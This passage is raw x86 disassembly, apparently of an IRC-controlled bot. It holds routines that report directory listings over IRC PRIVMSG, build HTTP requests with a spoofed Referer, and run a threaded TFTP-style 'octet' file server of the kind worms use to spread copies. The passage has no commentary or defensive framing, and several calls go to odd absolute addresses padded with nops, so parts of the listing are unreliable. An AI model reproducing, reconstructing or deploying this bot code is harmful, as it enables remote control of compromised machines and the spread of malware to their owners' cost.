ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172B0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h call near ptr 26207A4h nop loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 26D0000h nop test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] nop call near ptr 26B0474h cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172B0 add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172B0 add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 2670000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx call near ptr 26B0000h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 26F0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2650000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43AD2C cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx nop call near ptr 265089Dh loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43AD10 push 6 push 1 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43AD98 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_436EDC loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43ADE8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43ADB0 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172B0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h nop call near ptr 26207A4h call dword_43AD2C push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 pop ecx pop ecx push ebx call near ptr 261095Eh nop loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h nop call near ptr 26207A4h dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h nop call near ptr 26207A4h lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 add esp, 28h push ebx nop call near ptr 261095Eh loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43AD80 test eax, eax jle loc_4070B8 mov al, byte_436EDC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43AD70 push [ebp+var_28] mov [ebp+var_C], eax call dword_43AE24 push eax lea eax, [ebp+var_58] push eax call sub_4172B0 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43ADFC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172B0 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43ADFC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172B0 lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43ADFC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43ADFC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43AE30 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h nop call near ptr 26207A4h push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172B0 cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_4CD5F0 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA4 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_436F18[eax*8] call dword_43AE24 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172B0 add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172B0 pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_438F34 push 104h push edi push ebx mov dword_439144, eax mov dword_439140, ebx nop call near ptr 2680000h push 103h mov esi, offset dword_439038 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_438F30, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4391C8, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_439144 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5C add esp, 20h mov dword_43913C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_438F30 push offset sub_406C19 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, dword_43913C imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_4391D0, ebx jnz short loc_4073A9 push 32h nop call near ptr 26207A4h jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j call near ptr 26702AAh nop push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172B0 add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43958C mov [esp+210h+var_210], 104h push edi push ebx mov dword_439798, ebx nop call near ptr 2680000h push 103h mov esi, offset dword_439690 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439588, eax mov eax, [ebp+arg_138] push 7Fh mov dword_439820, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43979C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5C add esp, 20h mov dword_439794, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439588 push offset sub_4053D5 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, dword_439794 pop edi imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_439828, ebx jnz loc_4075D5 push 32h call near ptr 26207A4h nop jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j nop call near ptr 26702AAh push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_439464 push 104h push esi push ebx call near ptr 2680000h nop push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43957C, ebx mov dword_439568, eax lea eax, [ebp+arg_10] push eax push offset dword_4391DC call sub_4172B0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4391D8, eax mov ecx, [ebp+arg_138] push esi push dword_439568 mov dword_439574, ecx mov ecx, [ebp+arg_13C] push eax mov dword_439578, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5C add esp, 20h mov dword_439570, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4391D8 push offset sub_405AF2 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, dword_439570 imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_439584, ebx jnz short loc_4075D5 push 32h call near ptr 26207A4h nop jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j nop call near ptr 26702AAh push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172B0 add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:436F18h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43ACCC inc eax push eax mov [ebp+arg_0], eax call dword_43AD94 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, 